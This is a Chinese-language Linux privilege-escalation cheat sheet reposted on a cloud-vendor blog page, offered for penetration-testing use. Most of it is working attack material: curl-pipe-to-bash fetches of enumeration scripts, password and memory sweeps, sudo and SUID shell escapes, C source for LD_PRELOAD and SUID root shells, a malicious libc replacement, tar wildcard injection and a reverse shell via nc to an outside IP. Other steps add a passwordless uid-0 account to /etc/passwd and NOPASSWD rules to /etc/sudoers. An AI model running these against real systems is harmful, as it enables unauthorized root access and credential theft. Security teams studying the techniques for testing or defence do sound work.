Linux提权备忘录

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: Linux提权备忘录

一、判断是否为虚拟机


cat /proc/scsi/scsi


dmesg |grep -i vir


w / who 查询目前登录系统的用户



二、辅助工具


1. LinuxSmartEnumeration(参考了LinEnum.sh)


三个工作模式可选:


-l 0 (缺省),显示特别重要的信息


-l 1 显示interesting的信息


-l 2 显示所有的信息


wget "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh

curl "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh

单行执行:bash <(wget -q -O - https://raw.githubusercontent.com/diegotreitos/linux-smart-enumeration/master/lse.sh) -l2 -i

bash <(curl -s https://raw.githubusercontent.com/diego-treitos/linux-smartenumeration/master/lse.sh) -l1 -i

2. LinEnum


常用命令:./LinEnum.sh -r report -e /tmp/ -t 生成的结果将导出到 /tmp/report 文件


如果什么都不加的话,就是输出到标准输出


3. BeRootProject


python beroot.py --password super_strong_password


这个工具包含了GTFOBins所提到的文件列表,也就是说,可以检查出一些通过sudo运行即可提权


的文件。


4. Pupy


基于python的内存态后渗透利用框架


5. SUDO_KILLER探测脚本



三、信息搜集


1、关注点主要在:计划任务、具有suid的命令


2、内核和发行版的详细信息


3、系统信息:主机名


网络信息:当前IP、默认路由、DNS信息


4、用户信息:


当前用户详细信息


上次登录的用户


当前登录到主机的用户


列出所有用户uid、gid


列出root用户


密码策略和hash存储方法信息


umask值


检查password hash是否存在于 /etc/passwd (这个文件是全局可读的)


提取默认的uid的信息信息(0、1000、1001之类的)


尝试读取受限文件(例如 /etc/shadow )


列出当前用户的历史文件(例如 .bash_history 、 .nano_history 、 .mysql_histroy 、 .swp 文件)


ssh


5、特权检查


哪些用户最近使用了 sudo


/etc/sudoers 是否可以访问


确定当前用户是否可以不使用即可使用 sudo


确定通过sudo可能利用即可获得权限的命令


root 目录是否可以访问


查看 home 目录下的权限


6、环境信息:


查看当前的$PATH


查看当前的 env 信息


7、计划任务、进程


查看计划任务


确定属于其他用户的全局可写的计划任务


列出系统计时器(活动的、不活动的)


8、服务:


列出网络连接


列出当前进程


查看进程对应的二进制文件以及权限


列出 inetd.conf/xined.conf 的内容以及相关二进制程序的权限


列出 init.d 二进制的权限


9、查看版本信息:


sudo


mysql


postgres


apache


查看用户配置


查看可用模块


查看htpasswd文件


查看www目录


10、默认/弱口令的证书


主要是数据库的默认密码、弱口令


重点搜索:


所有具有SUID/GUID的文件,尤其是全局可写的SUID/GUID的文件、属于root的具有


SUID/GUID的文件


Locate files with POSIX capabilities?capabilities一种安全机制


带有 *.plan 、 *.rhosts 、 *.log 、 *.conf 的文件


NFS服务信息


本地邮件


11、特定的软件


docker


LXC



四、密码相关


1. 查找包含密码的文件(关键字 password )


grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null


find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;


2. 查看过期的密码


pam_cracklib会保存过期的密码记录在 /etc/security/opasswd 文件中。


3. 查看用户最后编辑的文件


find / -mmin -10 2>/dev/null | grep -Ev "^/proc"


最近十分钟编辑的文件


4. 内存中的密码


strings /dev/mem -n10 | grep -i PASS


5. 查看敏感文件


$ locate password | more


/boot/grub/i386-pc/password.mod


/etc/pam.d/common-password


/etc/pam.d/gdm-password


/etc/pam.d/gdm-password.original


/lib/live/config/0031-root-password



五、计划任务


Cron


检查系统中存在的cron计划任务,看看是否有权限访问和修改


检查文件内容,看看有没有可以提权的途径


利用pspy工具,检查命令和文件系统事件 ./pspy64 -pf -i 1000


敏感目录


/etc/init.d


/etc/cron*


/etc/crontab


/etc/cron.allow


/etc/cron.d


/etc/cron.deny


/etc/cron.daily


/etc/cron.hourly


/etc/cron.monthly


/etc/cron.weekly


/etc/sudoers


/etc/exports


/etc/anacrontab


/var/spool/cron


/var/spool/cron/crontabs/root


crontab -l


ls -alh /var/spool/cron;


ls -al /etc/ | grep cron


ls -al /etc/cron*


cat /etc/cron*


cat /etc/at.allow


cat /etc/at.deny


cat /etc/cron.allow


cat /etc/cron.deny*


cron的日志文件存储为 /var/log/cronlog ,可以看到最近执行的定时任务信息。


配置文件读取路径:


/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。


/etc/crontab ,只能root 进行编辑,配置文件需指定用户


/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)


日志保存地址:/var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。


systemd timers


系统定时器,也是计划任务的一种


查询命令:systemctl list-timers --all


相关信息:


如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元


重新加载配置:systemctl daemon-reload


journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志


详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm



六、内核漏洞


内核提权漏洞(依靠EXP)


1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。


2. 利用脏牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )


3. 一般这种提权漏洞都是c的,需要gcc编译 gcc filename -o outfilename 。


内核漏洞搜集项目:


https://github.com/lucyoa/kernel-exploits/


https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits


https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~


https://github.com/xairy/kernel-exploits


https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/


常见漏洞:


1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)


https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs


https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c


2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)


https://www.exploit-db.com/exploits/15285/


3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))


https://www.exploit-db.com/exploits/15704/


4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))


https://www.exploit-db.com/exploits/18411


利用sudo命令


1. sudo -l :查看当前用户sudo支持的命令


$ sudo -l


User demo may run the following commands on crashlab:


(root) NOPASSWD: /usr/bin/mysql


比如以上结果列出了mysql,就可以使用 sudo mysql -e '\! /bin/sh' 获得一个特权shell,或者 sudo -u root mysql -e '\! /bin/sh'


最牛逼的情况:ignite ALL=(root) NOPASSWD: ALL


2. 使用用户密码切换到root用户:sudo -i 、 sudo su 、 sudo su -


3. 利用LD_PRELOAD:


如果在 sudoers 文件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:


Defaults env_keep += LD_PRELOAD


可以使用以下代码,编译共享链接库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles


//shell.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}


使用如下命令,执行任何二进制程序以获得shell


sudo LD_PRELOAD=<full_path_to_so_file> <program>


举个例子:sudo LD_PRELOAD=/tmp/shell.so find


4. 同时要注意其他和sudo有同样功能的程序,比如openBSD的 doas 命令


# /etc/doas.conf


# 以root用户不需要密码执行 procmap


permit nopass tedu as root cmd /usr/sbin/procmap


5. sudo_inject


在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运行的进程的时候,可以只用sudo_inject攻击来滥用当前令牌。


6. 如果有权限的话,可以看看后面的内容


关于SUDO


sudo:配置文件默认在 /etc/sudoers ,推荐使用 visudo 工具来编辑,可以语法检查。


四种别名:Host_Alias(主机列表)、Cmnd_Alias(命令列表【绝对路径】,如果想禁用某些命令前面加 !即可)、User_Alias(用户列表)、Runas_Alias(用户以什么身份执行)


格式:USER_FLAG HOST_FLAG=(RUNAS_FLAG) COMMAND_FLAG ,如果不需要密码的话


USER_FLAG HOST_FLAG=(RUNAS_FLAG) NOPASSWD: COMMAND_FLAG



七、利用SUID提权


1. 查找具有suid权限的命令:find / -user root -perm -4000 -print 2>/dev/null 、 find / -perm -u=s -type f 2>/dev/null 、 find / -user root -perm -4000 -exec ls -ldb {} \; 、find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 、 find / -uid 0 -perm -4000 -type f 2>/dev/null


2. 常见的用于SUID提权的程序:


3. Nmap:较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。


nmap --interactive , nmap> !sh 。


4. find:`touch test`


find test -exec whoami \;


find test -exec bash -p \;


find test -exec /bin/sh \; (DC1就遇到bash无法提权,但是sh可以提权的情况)


find test -exec nc -e /bin/sh 192.168.139.128 9999 \;


5. vim:直接编辑文件 vim /etc/shadow ,或者进入vim后启动sh交互。


:set shell=/bin/sh


:shell


或者:vim -c '!sh'


6. bash:bash -p


7. 利用less执行命令:less /etc/passwd , !/bin/sh (已经设置suid的sh)、(more也可以)


8、为什么可以使用SUID提权:SUID代表“执行时设置用户ID”,具有该标志位的文件在执行时,运行的uid变为属主身份,也就是说,如果一个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root。


9. 构造一个具有suid的程序(如果root权限的话):


给程序添加suid标记:chmod +s 文件


利用自己的代码做一个suid的shell

// filename: suid.c
int main(void){
setgid(0);
setuid(0);
system("/bin/bash");
}
// 或者
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}

gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把属主改为root,之后再添加s标志】



八、GTFOBins


GTFOBins是一个精选的Unix二进制列表,攻击者可以利用它来绕过本地安全限制。


1、利用vim获得shell:


:set shell=/bin/bash , :shell


:! /bin/bash


2. 利用 awk:awk 'BEGIN {system("/bin/sh")}'


3. 利用find :find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;


4. 利用more 和 less:! /bin/bash



九、通配符


通过将tar与–checkpoint-action选项一起使用,可以在检查点之后使用指定的操作。此操作可能是恶意的Shell脚本,可用于在启动tar的用户下执行任意命令。使用特定选项的“欺骗”根源非常简单,这就是通配符派上用场的地方。


touch -- "--checkpoint=1"


touch -- "--checkpoint-action=exec=sh shell.sh"


echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >


shell.sh


# vulnerable script


tar cf archive.tar *


详细原理请看《关于通配符提权》的笔记。


利用工具:wildpwn(其实就是将创建文件自动化了)


但是提供了一个自动化的攻击思路

0a2653c851af460fa595bd959398a8f1.png

十、利用可写文件(敏感文件)

1、搜索可写文件

find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path
"/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

2、写/etc/passwd


生成密码字符串的三种方式:


openssl passwd -1 -salt 盐值 密码


mkpasswd -m SHA-512 密码


python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'


按照如下格式添加到 /etc/passwd 文件中


用户名:生成的密码:0:0:Hacker:/root:/bin/bash


不生成密码的方式(极其暴力)


echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd


su - dummy


BSD 系统中文件名称为:/etc/pwd.db 、 /etc/master.passwd 、 /etc/spwd.db


3、写/etc/sudoers


echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers


# use SUDO without password


echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers


echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers



十一、NFS权限压缩


NFS的配置文件:/etc/exports


如果no_root_squash 出现在配置文件中的话,如果目录分享者是root,那么对于远程挂载


用户来说,他也具有了该目录下root的权限。


具体操作:


查看远程主机共享的文件夹:showmount -e 10.10.10.10


建立目录、挂载远程主机共享文件


mkdir /tmp/nfsdir


mount -t nfs 10.10.10.10:/shared /tmp/nfsdir


cd /tmp/nfsdir


恶意利用:


# copy wanted shell


cp /bin/bash .


# set suid permission


chmod +s bash


十二、共享库


系统识别共享库的顺序:


1. rpath-link选项中指定的目录


2. –rpath选项中指定的目录


3. LD_RUN_PATH


4. LD_LIBRARY_PATH


5. DT_RUNPATH或DT_RPATH中的目录


6. /lib 、/usr/lib


7. /etc/ld.so.conf下的目录。


利用 ldconfig


识别程序所使用的动态链接库信息(实际是需要同名替换) ldd 二进制文件


0a2653c851af460fa595bd959398a8f1.png

编译一个同名为 vulnlib.so 的文件,进行替换(这个地方不确定要不要加版本号)


gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary

后面的数字作为版本号,连接器并不识别后面的内容,只识别到 so


命名规范的话:


主版本号:不同的版本号之间不兼容


次版本号:增量升级 向后兼容


发行版本号:对应次版本的错误修正和性能提升,不影响兼容性


0a2653c851af460fa595bd959398a8f1.png


十三、利用RPATH


查看程序使用RPATH情况:readelf -d 文件名 | egrep "NEEDED|RPATH"


0eacb84100b54626af849e6b562bf92a.png


根据上边的结果,在 /var/tmp/flag15 路径下构造恶意共享库



gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc,
char ** ubp_av, void (*init) (void), void (*fini) (void), void
(*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}


文章来源于网络,如有侵权,请联系删除


禁止非法,后果自负



目录
相关文章
|
4天前
|
存储 Ubuntu Linux
2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 上集
在本节实验中,我们学习了 Linux 系统登录认证的过程,文件的意义,并通过做实验的方式对 Linux 系统 passwd 文件提权方法有了深入的理解。祝你在接下来的技巧课程中学习愉快,学有所获~和文件是 Linux 系统登录认证的关键文件,如果系统运维人员对shadow或shadow文件的内容或权限配置有误,则可以被利用来进行系统提权。上一章中,我们已经学习了文件的提权方法, 在本章节中,我们将学习如何利用来完成系统提权。在本节实验中,我们学习了。
|
4月前
|
自然语言处理 安全 Shell
Linux 提权-SUID/SGID_1 本文通过 Google 翻译 SUID | SGID Part-1 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
接下来,让我们看看 SUID3NUM 在枚举 SUID 二进制文件方面的表现如何。 3.2、枚举 SUID 二进制文件 – SUID3NUM 我们将用来枚举 SUID 二进制文件的第二个工具是 SUID3NUM。这是一个很棒的工具,因为它是专门为枚举 SUID 二进制文件而创建的。但这还不是全部,它还提供了可用于提升权限的命令(命令从 GTFOBins 中提取)。 这还不是最好的部分,SUID3NUM 还具有内置的 autopwn 功能,可以通过 -e 开关激活! 在 OSCP 考试中也使用此工具,只要您不使用自动利用功能。 3.2.1、下载并执行 SUID3NUM 我们可以从 GitHubs
34 0
|
6月前
|
Linux 开发工具
linux sudo指令提权
linux sudo指令提权
|
Ubuntu 安全 Linux
CVE-2021-3493 Linux kernel提权漏洞复现
CVE-2021-3493 Linux kernel提权漏洞复现
217 0
|
11月前
|
网络协议 Linux 网络安全
2023年中职“网络安全“—Linux系统深入提权③
2023年中职“网络安全“—Linux系统深入提权③
107 2
|
11月前
|
网络协议 Linux 测试技术
2023年中职“网络安全“—Linux系统深入提权②
2023年中职“网络安全“—Linux系统深入提权②
93 0
|
安全 Linux 数据安全/隐私保护
Linux DirtyPipe 内核提权漏洞 (CVE-2022-0847)
它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
166 1
|
缓存 安全 Linux
Linux内核提权漏洞—CVE-2022-0874
Linux内核提权漏洞—CVE-2022-0874
125 1
|
安全 Shell Linux
linux提权总结
linux提权总结
303 0
|
存储 安全 Unix
干货 | 最详细Linux提权总结(建议收藏)
干货 | 最详细Linux提权总结(建议收藏)
1992 0